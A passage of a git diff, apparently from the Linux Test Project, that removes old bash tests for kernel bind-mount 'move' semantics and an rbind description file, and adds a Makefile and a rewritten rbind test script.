-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST15***************"
-tst_resm TINFO "move: uncloneable subtree to slave parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test15 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" unclone dir
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-
-	mount --bind parent2 share2
-	mkdir dir/grandchild
-	mkdir parent2/child2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-	mount --move dir parent2/child2
-	check  -n parent2/child2/ share2/child2/
-
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test15: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test15: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child2
-	umount dir # if the move fails
-	umount share2
-	umount share2
-	umount parent2
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test15: FAILED: move: uncloneable subtree to slave parent."
-	exit 1
-else
-	tst_resm TPASS "move/test15: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test16 b/testcases/kernel/fs/fs_bind/move/test16
deleted file mode 100755
index 4457cb9..0000000
--- a/testcases/kernel/fs/fs_bind/move/test16
+++ /dev/null
@@ -1,80 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test16} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST16***************"
-tst_resm TINFO "move: uncloneable subtree to uncloneable parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test16 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" unclone dir
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mkdir dir/grandchild
-	mkdir parent2/child2
-
-	mount --move dir parent2/child2
-	result=$?
-
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test16: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test16: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child2
-	umount dir # if the move fails
-	umount share1
-	umount parent2
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test16: FAILED: move: uncloneable subtree to uncloneable parent."
-	exit 1
-else
-	tst_resm TPASS "move/test16: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test17 b/testcases/kernel/fs/fs_bind/move/test17
deleted file mode 100755
index 093d0a8..0000000
--- a/testcases/kernel/fs/fs_bind/move/test17
+++ /dev/null
@@ -1,77 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test17} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST17***************"
-tst_resm TINFO "move: tree with shared parent"
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test17 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-
-	mkdir parent2/child2
-
-	mount --move parent1/child1 parent2/child2 2> /dev/null || result=$?
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test17: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test17: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1 # if the move failed
-	umount parent2/child2 # if the move succeeded
-	umount parent2
-	umount parent1
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -eq 0 ]
-then
-	tst_resm TFAIL "move/test17: FAILED: move: tree with shared parent - check ERROR."
-	exit 1
-else
-	tst_resm TPASS "move/test17: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test18 b/testcases/kernel/fs/fs_bind/move/test18
deleted file mode 100755
index 91eab3e..0000000
--- a/testcases/kernel/fs/fs_bind/move/test18
+++ /dev/null
@@ -1,101 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test18} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST18***************"
-tst_resm TINFO "move: private to private - with shared children "
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test18 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mount --bind parent1/child1 share1
-	mount --bind "$disk1" parent1/child1
-
-	mount --move parent1 parent2
-
-	check parent2/child1 share1
-
-	#
-	mount --bind "$disk2" parent2/child1/a
-	check parent2/child1/a share1/a
-
-	mount --bind "$disk3" share1/b
-	check parent2/child1/b share1/b
-
-	 umount parent2/child1/a #share1/a
-	check parent2/child1/a share1/a
-
-	 umount parent2/child1/b #share1/b
-	check parent2/child1/b share1/b
-	#
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test18: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test18: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child1
-	umount parent2/child1
-
-	umount parent1/child1
-	umount share1
-
-	umount share1
-	umount parent1/child1
-	umount parent2
-	umount parent1
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test18: FAILED: move: private to private - with shared children "
-	exit 1
-else
-	tst_resm TPASS "move/test18: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test19 b/testcases/kernel/fs/fs_bind/move/test19
deleted file mode 100755
index 44da819..0000000
--- a/testcases/kernel/fs/fs_bind/move/test19
+++ /dev/null
@@ -1,95 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test19} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST19***************"
-tst_resm TINFO "move: private to private - with slave children "
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test19 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	mkdir parent1/child1
-
-	mount --bind "$disk1" share1
-	mount --bind share1 parent1/child1
-
-	"${FS_BIND_ROOT}/bin/makedir" slave parent1/child1
-
-	mount --move parent1 parent2
-
-	check parent2/child1 share1
-
-	mount --bind "$disk2" parent2/child1/a
-	check -n parent2/child1/a share1/a
-
-	mount --bind "$disk3" share1/b
-	check parent2/child1/b share1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test19: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test19: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child1/b
-	check -n parent2/child1/b share1/b
-
-	umount parent2/child1/a
-	umount parent2/child1
-	umount share1/b
-	umount share1
-	umount share1
-	umount parent1
-	umount parent2
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test19: FAILED: move: private to private - with slave children "
-	exit 1
-else
-	tst_resm TPASS "move/test19: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test20 b/testcases/kernel/fs/fs_bind/move/test20
deleted file mode 100755
index 7af2ab0..0000000
--- a/testcases/kernel/fs/fs_bind/move/test20
+++ /dev/null
@@ -1,79 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test20} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST20***************"
-tst_resm TINFO "move: private to private - with unclonable children "
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test20 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent1/child1
-
-	mount --bind "$disk1" parent1/child1
-
-	mount --move parent1 parent2
-
-	check "$disk1" parent2/child1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test20: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test20: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child1
-	umount parent2/child1
-	umount parent1
-	umount parent2
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test20: FAILED: move: private to private - with unclonable children "
-	exit 1
-else
-	tst_resm TPASS "move/test20: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test21 b/testcases/kernel/fs/fs_bind/move/test21
deleted file mode 100755
index 954e0fb..0000000
--- a/testcases/kernel/fs/fs_bind/move/test21
+++ /dev/null
@@ -1,93 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test21} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST21***************"
-tst_resm TINFO "move: shared tree within a tree it is bound to."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test21 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	mkdir parent1 parent2
-	mount --bind "$disk1" parent1
-	mount --make-rshared parent1 > /dev/null 2>&1 || "${FS_BIND_ROOT}/bin/smount" parent1 rshared
-	mount --bind parent1 parent2
-
-	check parent1 parent2
-
-	mount --move parent1 parent2/a
-
-	check parent2 parent2/a parent2/a/a
-
-	mount --bind "$disk2" parent2/b
-
-	check parent2/b parent2/a/b parent2/a/a/b
-
-	mount --bind "$disk3" parent2/a/c
-
-	check parent2/c parent2/a/c parent2/a/a/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test21: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test21: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/a/a/c
-
-	check parent2/c parent2/a/c parent2/a/a/c
-
-	umount parent2/b
-	umount parent2/a/a
-	umount parent2/a
-	umount parent2
-	umount parent1
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test21: FAILED: move: shared tree within a tree it is bound to."
-	exit 1
-else
-	tst_resm TPASS "move/test21: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test22 b/testcases/kernel/fs/fs_bind/move/test22
deleted file mode 100755
index ebdd50a..0000000
--- a/testcases/kernel/fs/fs_bind/move/test22
+++ /dev/null
@@ -1,87 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test22} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST22***************"
-tst_resm TINFO "move: shared tree within a tree it is bound to - and then move to another share subtree"
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test22 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	mkdir parent1/a parent2
-	mount --bind parent1 parent2
-
-	check parent1 parent2
-
-	mount --move parent1 parent2/a
-
-	check parent2 parent2/a parent2/a/a
-
-	"${FS_BIND_ROOT}/bin/makedir" share tmp1
-	mkdir tmp2 tmp1/1
-
-	mount --bind tmp1 tmp2
-	mount --move parent2  tmp1/1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test22: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test22: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount tmp1/1/a/a
-	umount tmp1/1/a
-	umount tmp1/1
-	umount tmp1
-	umount tmp1
-	umount tmp2
-
-	rm -rf dir parent* tmp1 tmp2
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test22: FAILED: move: shared tree within a tree it is bound to - and then move to another share subtree"
-	exit 1
-else
-	tst_resm TPASS "move/test22: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/00_Descriptions.txt b/testcases/kernel/fs/fs_bind/rbind/00_Descriptions.txt
deleted file mode 100644
index b2d0604..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/00_Descriptions.txt
+++ /dev/null
@@ -1,266 +0,0 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) International Business Machines  Corp., 2008                 */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/******************************************************************************/
-
-OO_DESCRIPTION.txt
-==================
-
-The contents of the rbind directory:
-test07-2 - create slave then mount master - slave still propagates
-test01 - shared child to shared parent.
-test02 - shared child to private parent.
-test03 - shared child to slave parent.
-test04 - shared child to unclonable parent.
-test05 - private child to shared parent.
-test06 - private child to private parent.
-test07 - private child to slave parent.
-test08 - private child to uncloneable parent.
-test09 - slave child to shared parent.
-test10 - slave child to private parent.
-test11 - slave child to slave parent.
-test12 - slave child to uncloneable parent.
-test13 - uncloneable child to shared parent.
-test14 - uncloneable child to private parent.
-test15 - uncloneable child to slave parent.
-test16 - uncloneable child to uncloneable parent.
-test17 - shared subtree with shared child to shared subtree.
-test18 - shared subtree with shared child to private subtree.
-test19 - shared subtree with shared child to slave subtree.
-test20 - shared subtree with shared child to uncloneable subtree.
-test21 - shared subtree with  private child to shared subtree.
-test22 - shared subtree with  private child to slave subtree.
-test23 - shared subtree with  private child to private subtree.
-test24 - shared subtree with unclonable child to private subtree.
-test25 - shared subtree with slave child to shared subtree.
-test26 - shared subtree with slave child to private subtree.
-test27 - shared subtree with slave child to slave subtree.
-test28 - shared subtree with slave child to unclone subtree.
-test29 - shared subtree with uncloneable child to shared subtree.
-test30 - shared subtree with uncloneable child to private subtree.
-test31 - shared subtree with uncloneable child to slave subtree.
-test32 - shared subtree with uncloneable child to uncloneable subt
-test33 - multi-level slave p-nodes.
-test34 - rbind within same tree - root to child, child is shared
-test35 - rbind within same tree - root to child, child is private
-test36 - rbind within same tree - root to child, child is unclonea
-test37 - private to private - with shared children.
-test38 - private to private - with slave children.
-test39 - private to private - with unclonable children.
-
-
-test07-2:
-=========
-create slave then mount master - slave still propagates.
-
-
-test01:
-=======
-shared child to shared parent.
-
-
-test02:
-=======
-shared child to private parent.
-
-
-test03:
-=======
-shared child to slave parent.
-
-
-test04:
-=======
-shared child to unclonable parent.
-
-
-test05:
-=======
-private child to shared parent.
-
-
-test06:
-=======
-private child to private parent.
-
-
-test07:
-=======
-private child to slave parent.
-
-
-test08:
-=======
-private child to uncloneable parent.
-
-
-test09:
-=======
-slave child to shared parent.
-
-
-test10:
-=======
-slave child to private parent.
-
-
-test11:
-=======
-slave child to slave parent.
-
-
-test12:
-=======
-slave child to uncloneable parent.
-
-
-test13:
-=======
-uncloneable child to shared parent.
-
-
-test14:
-=======
-uncloneable child to private parent.
-
-
-test15:
-=======
-uncloneable child to slave parent.
-
-
-test16:
-=======
-uncloneable child to uncloneable parent.
-
-
-test17:
-=======
-shared subtree with shared child to shared subtree.
-
-
-test18:
-=======
-shared subtree with shared child to private subtree.
-
-
-test19:
-=======
-shared subtree with shared child to slave subtree.
-
-
-test20:
-=======
-shared subtree with shared child to uncloneable subtree.
-
-
-test21:
-=======
-shared subtree with  private child to shared subtree.
-
-
-test22:
-=======
-shared subtree with  private child to slave subtree.
-
-
-test23:
-=======
-shared subtree with  private child to private subtree.
-
-
-test24:
-=======
-shared subtree with unclonable child to private subtree.
-
-
-test25:
-=======
-shared subtree with slave child to shared subtree.
-
-
-test26:
-=======
-shared subtree with slave child to private subtree.
-
-
-test27:
-=======
-shared subtree with slave child to slave subtree.
-
-
-test28:
-=======
-shared subtree with slave child to unclone subtree.
-
-
-test29:
-=======
-shared subtree with uncloneable child to shared subtree.
-
-
-test30:
-=======
-shared subtree with uncloneable child to private subtree.
-
-
-test31:
-=======
-shared subtree with uncloneable child to slave subtree.
-
-
-test32:
-=======
-shared subtree with uncloneable child to uncloneable subtree.
-
-
-test33:
-=======
-multi-level slave p-nodes.
-
-
-test34:
-=======
-rbind within same tree - root to child, child is shared
-
-
-test35:
-=======
-rbind within same tree - root to child, child is private
-
-
-test36:
-=======
-rbind within same tree - root to child, child is uncloneable
-
-
-test37:
-=======
-private to private - with shared children.
-
-
-test38:
-=======
-private to private - with slave children.
-
-
-test39:
-=======
-private to private - with unclonable children.
-
-
diff --git a/testcases/kernel/fs/fs_bind/rbind/Makefile b/testcases/kernel/fs/fs_bind/rbind/Makefile
new file mode 100644
index 0000000..4823326
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/Makefile
@@ -0,0 +1,11 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
+# Ngie Cooper, July 2009
+
+top_srcdir			?= ../../../../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS			:= fs_bind*
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind01.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind01.sh
new file mode 100755
index 0000000..d5a6430
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind01.sh
@@ -0,0 +1,50 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared child to shared parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --rbind parent2 share2
+	EXPECT_PASS mount --rbind parent1/child1 parent2/child2
+
+	fs_bind_check parent2 share2
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check parent1/child1/a parent2/child2/a share2/child2/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child2/b
+
+	fs_bind_check parent1/child1/b parent2/child2/b share2/child2/b
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent1/child1/b
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind02.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind02.sh
new file mode 100755
index 0000000..09ef351
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind02.sh
@@ -0,0 +1,50 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
